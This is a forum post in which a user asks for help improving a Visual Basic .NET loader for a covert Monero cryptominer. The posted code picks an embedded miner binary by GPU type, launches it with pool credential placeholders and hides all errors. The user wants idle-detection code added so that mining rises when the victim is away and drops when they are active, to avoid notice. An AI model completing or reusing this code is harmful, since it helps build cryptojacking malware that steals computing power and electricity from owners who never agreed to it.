Jan 9, 2019 01:21 PM
(This post was last modified: Jan 9, 2019 03:51 PM by taleoftwocities.)
Hey guys, can anyone help me with this? :D
I added Gigajews code as class to project:
Could you help me use this class in this code below?
I was thinking about something like this:
Changing this --> { mine.constantly at 50% CPU/GPU}
into
{mine.if.IDLE at 90% CPU/GPU
mine.if.ACTIVE at 20% CPU/GPU}
Can i create If ... then... end if, using user.IDLE?
And will it work after execution? While runtime? I mean, how to code it so it will change everytime when user.IDLE changes value after exe is already executed?
Thanks 🤩
Ok, i tested something and got this:
Class User
Module1 to test if Idle is working
And it worked. Now i need to add this Class User to Project, and use it in similar way right?
I added Gigajews code as class to project:
Code
Imports System
Imports System.Drawing
Imports System.Runtime.InteropServices
Imports System.Text
Public Class User
Private Const V As Integer = &H80000000
Public Shared ReadOnly Property Name As String
Get
Return Environment.UserName
End Get
End Property
Public Shared ReadOnly Property ComputerName As String
Get
Return Environment.MachineName
End Get
End Property
Public Shared ReadOnly Property Avatar As Image
Get
Return Image.FromFile(GetAvatarPath(Name))
End Get
End Property
Public Shared ReadOnly Property Idle As Boolean
Get
Return GetTimeSinceLastInput().TotalMinutes >= 1
End Get
End Property
Public Shared Function GetTimeSinceLastInput() As TimeSpan
Return TimeSpan.FromMilliseconds(GetMillisecondsSinceLastInput())
End Function
Public Shared Function GetMillisecondsSinceLastInput() As Integer
Dim info = New LASTINPUTINFO()
info.cbSize = CUInt(Marshal.SizeOf(info))
GetLastInputInfo(info)
Dim ticks = Environment.TickCount
Return ticks - info.dwTime
End Function
Public Shared Function GetAvatarPath(ByVal username As String) As String
Dim sb = New StringBuilder(1000)
GetUserTilePath(username, V, sb, sb.Capacity)
Return sb.ToString()
End Function
<DllImport("user32.dll")>
Private Shared Function GetLastInputInfo(ByRef info As LASTINPUTINFO) As IntPtr
End Function
<DllImport("shell32.dll", EntryPoint:="#261", CharSet:=CharSet.Unicode, PreserveSig:=False)>
Private Shared Sub GetUserTilePath(ByVal username As String, ByVal unused As UInteger, ByVal path As StringBuilder, ByVal length As Integer)
End Sub
End Class
<StructLayout(LayoutKind.Sequential)>
Public Structure LASTINPUTINFO
<MarshalAs(UnmanagedType.U4)>
Public cbSize As UInteger
<MarshalAs(UnmanagedType.I4)>
Public dwTime As Integer
End StructureCould you help me use this class in this code below?
Code
Public Shared Sub RunIt()
Try
Dim Args As String = ""
Dim xmr As Byte() = Nothing
If GetTheSpec.ToLower.Contains("nvidia") Then
If IO.Directory.Exists("C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\") Then
For Each folder As String In IO.Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\NVIDIA GPU Computing Toolkit\CUDA")
If folder.Contains("v8") Then
Args = "--cuda-bfactor=12 --cuda-bsleep=100"
xmr = GetTheResource("#nvidia")
ElseIf folder.Contains("v9") Then
Args = "--cuda-bfactor=12 --cuda-bsleep=100"
xmr = GetTheResource("#nvidia2")
Else
Args = "-t " + CType((Environment.ProcessorCount / 2), String) + " --max-cpu-usage=50"
xmr = GetTheResource("#cpu")
End If
Next
End If
ElseIf GetTheSpec.ToLower.Contains("amd") Then
Args = "--opencl-platform=0 --opencl-devices=0 --opencl-launch=1600x8,1600x8,1600x8"
xmr = GetTheResource("#amd")
Else
Args = "-t " + CType((Environment.ProcessorCount / 2), String) + " --max-cpu-usage=50"
xmr = GetTheResource("#cpu")
End If
GetTheLoad(GetTheResource("#dll"), "-B --donate-level=1 -a cryptonight --url=#URL -u #USER -p #PWD -R --variant=-1 " + Args, xmr)
Catch ex As Exception
End Try
End SubI was thinking about something like this:
Changing this --> { mine.constantly at 50% CPU/GPU}
into
{mine.if.IDLE at 90% CPU/GPU
mine.if.ACTIVE at 20% CPU/GPU}
Can i create If ... then... end if, using user.IDLE?
And will it work after execution? While runtime? I mean, how to code it so it will change everytime when user.IDLE changes value after exe is already executed?
Thanks 🤩
Ok, i tested something and got this:
Class User
Code
Imports System
Imports System.Drawing
Imports System.Runtime.InteropServices
Imports System.Text
Public Class User
Private Const V As Integer = &H80000000
Public Shared ReadOnly Property Name As String
Get
Return Environment.UserName
End Get
End Property
Public Shared ReadOnly Property ComputerName As String
Get
Return Environment.MachineName
End Get
End Property
Public Shared ReadOnly Property Idle As Boolean
Get
Return GetTimeSinceLastInput().TotalMinutes >= 1
End Get
End Property
Public Shared Function GetTimeSinceLastInput() As TimeSpan
Return TimeSpan.FromMilliseconds(GetMillisecondsSinceLastInput())
End Function
Public Shared Function GetMillisecondsSinceLastInput() As Integer
Dim info = New LASTINPUTINFO()
info.cbSize = CUInt(Marshal.SizeOf(info))
GetLastInputInfo(info)
Dim ticks = Environment.TickCount
Return ticks - info.dwTime
End Function
<DllImport("user32.dll")>
Private Shared Function GetLastInputInfo(ByRef info As LASTINPUTINFO) As IntPtr
End Function
<DllImport("shell32.dll", EntryPoint:="#261", CharSet:=CharSet.Unicode, PreserveSig:=False)>
Private Shared Sub GetUserTilePath(ByVal username As String, ByVal unused As UInteger, ByVal path As StringBuilder, ByVal length As Integer)
End Sub
End Class
<StructLayout(LayoutKind.Sequential)>
Public Structure LASTINPUTINFO
<MarshalAs(UnmanagedType.U4)>
Public cbSize As UInteger
<MarshalAs(UnmanagedType.I4)>
Public dwTime As Integer
End StructureModule1 to test if Idle is working
Code
Module Module1
Sub Main()
System.Threading.Thread.Sleep(62000)
If User.Idle = True Then
Console.WriteLine("play some games, man")
Else Console.WriteLine("go ride a bike or sth u twat :/")
End If
Console.Write("...")
Console.ReadKey(True)
End Sub
End ModuleAnd it worked. Now i need to add this Class User to Project, and use it in similar way right?

